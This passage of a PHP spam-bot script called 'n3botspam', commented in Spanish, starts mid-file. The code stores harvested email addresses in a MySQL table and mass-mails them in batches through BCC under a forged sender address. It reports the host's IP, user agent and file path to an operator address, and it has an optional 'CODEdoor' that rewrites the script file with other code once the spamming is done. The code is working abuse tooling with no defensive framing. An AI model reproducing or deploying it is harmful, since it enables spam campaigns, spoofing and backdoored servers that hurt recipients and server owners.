'); /* al terminar de spamiar el script cambia a un código opcional */
define(N3_bot_CODEdoor_active,false); /* Activar o descativar el CODEdoor */
/*----------------------------------[ Advertir estados a: ]---------------------------------------*/
define(N3_mail_advisory_to,'insecurity@malandrines.net'); /* Correo al final del BCC para verificar cada envio */
define(N3_mail_advisory_from,'info@malandrines.net'); /* Correo fake que envia el estado de envio y fin del envio */
define(N3_server_info,n3info());
/*-------------------------------------------------------------------------------------------------------*/
$link=connect_db();
/*-------------------------------*/
if(isset($_GET['n3'])){
echo '';
$act=$_GET['n3'];
if($act=='install'){
/* Instalar n3bot */
if(Install_tb($link))
$eof='n3botspam installing sucess full
';
else
$eof='n3botspam installing fail
';
die($eof);
}
else if($act=='insert'){
/* cargar el n3bot con correos */
if(isset($_POST['m']) && isset($_POST['l'])){
$m=strtolower(trim($_POST['m']));
$l=strtolower(trim($_POST['l']));
$sep=$l[0];
Add_mails($m,$sep,$link);
}
die(' EOF Insert ');
}else if($act=='delete'){
//delete tabla
$q="DROP TABLE `n3botspam`";
if(mysql_query($q,$link))
$eof='Delete sucess full
';
else
$eof='Delete fail
';
die($eof.'
EOF delete ');
}
}
$FIELDS='`id`,`correo`';
$q="SELECT $FIELDS FROM `n3botspam` ORDER BY `id` ASC LIMIT ".N3_MAX_SEND;
$r0ws=mysql_query($q,$link);
$m=N3_mail_msg;
$a=N3_mail_subject;
$n=N3_mail_from_name;
$to=N3_mail_to_mail;
$Mails_send="\n\n";
$n3count=0;
while($r = mysql_fetch_object($r0ws))
{
++$n3count;
if($n3count==1)$id_c=$r->id;
$id_now=$r->id;
$to_c=dm_($r->correo);
$Mails_send.=$n3count.' '.$to_c."\n";
$bcc.=$to_c.',';
}
/*------------------------------------------------------------*/
if($n3count==0)
{
$m=N3_server_info.' n3boot finish';
n3send_mail('n3boot',N3_mail_advisory_from,N3_id.' finish ','',N3_mail_advisory_to,$m);
/* Cuando termina de Spamiar reemplaza el codigo del n3botscript si el CODE door esta activado */
if(N3_bot_CODEdoor_active){
$f = fopen(N3_bot_filename,'w+');
fwrite($f,$N3_bot_CODEdoor);
fclose($f);
}
}
else
{
$bcc.=N3_mail_advisory_to;
n3send_mail($n,N3_mail_from_mail,$a.'['.$id_c.','.$id_now.']',$bcc,$to,$m);
delete_($id_c,$link);
}
/*------------------------------------------------------------*/
function delete_($id_c,$link){
$id_f=$id_c+(N3_MAX_SEND);
$q="DELETE FROM `n3botspam` where `id`>=$id_c AND `id`<$id_f";
mysql_query($q, $link);
}
function Add_mails($m,$sep,$link){
if($sep=='s')$sep="\n";
$mails=explode($sep, $m);
$filtrados=0; $no_filtrados=0;
$t='n3botspam';
$total=0;
foreach($mails as $mail){
++$total;
if(insert_mail($mail,$t,$link))
++$filtrados;
else
++$no_filtrados;
}
echo ' Log: total: ['.$total.']
OK ['.$filtrados.']
Fails ['.$no_filtrados.']';
}
function insert_mail($mail,$t,$link){
$mail = preg_replace('[\r?\n\t]', '', $mail);
$mail=trim($mail);
if(!preg_match('/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/',$mail))
return false;
$q="INSERT INTO `$t`(correo) VALUES ('".em_($mail)."')";
return mysql_query($q, $link);
}
function n3send_mail($n,$c,$a,$bcc,$to,$m)
{
/* */
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers.= 'Content-type: text/'.((N3_mail_HTML)?'html':'plain').
'; charset=iso-8859-1' . "\r\n";
$headers.='BCC: '.$bcc."\r\n";
$headers.= 'From: '.$n.' <'.$c.'>'. "\r\n";
$all=' headers: '.htmlentities($headers).'
'.
' to: '.$to.'
'.
' subject: '.$a.'
'.
' msg: '.$m.'
';
// echo $all;
if(N3_test)
echo $all;
else
mail($to,$a,$m,$headers);
}
function n3info()
{
$n3time =' Time = '.date("M j G:i:s Y")."\n";
$n3ip = ' Ip = '.getenv('REMOTE_ADDR')."\n";
$n3userAgent = ' UA = '.$_SERVER['HTTP_USER_AGENT']."\n";
$n3isp= ' Isp = '.gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n";
$n3host= ' Host = '.$_SERVER['HTTP_HOST']."\n";
$n3file= ' file = '.$_SERVER['SCRIPT_FILENAME']."\n\n";
return $n3time.$n3ip.$n3userAgent.$n3isp.$n3host.$n3file;
}
function Install_tb($link){
$tb='CREATE TABLE IF NOT EXISTS `n3botspam` ('
. ' `id` mediumint(9) NOT NULL auto_increment,'
. ' `correo` varchar(512) NOT NULL,'
. ' PRIMARY KEY (`id`),'
. ' UNIQUE KEY `correo` (`correo`)'
. ') ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;';
return mysql_query($tb,$link);
}
function em_($em){
/* Opcional */
$f=strlen($em);
for($i=0;$i<$f;$i++){
$n=intval(ord($em[$i]));
$n=$n+1337;
$c[]=chr($n);
}
return join($c);
}
function dm_($em){
/* Opcional */
$f=strlen($em);
for($i=0;$i<$f;$i++){
$n=intval(ord($em[$i]));
$n=$n-1337;
$c[]=chr($n);
}
return join($c);
}
define(mysql_errorD,'-> 3rr0r MySql connect');
function connect_db(){
$link=@mysql_connect(N3_DB_HOST,N3_DB_USER,N3_DB_PASS) or die(mysql_error());
mysql_select_db(N3_DB_NAME, $link);
return $link;
}
?>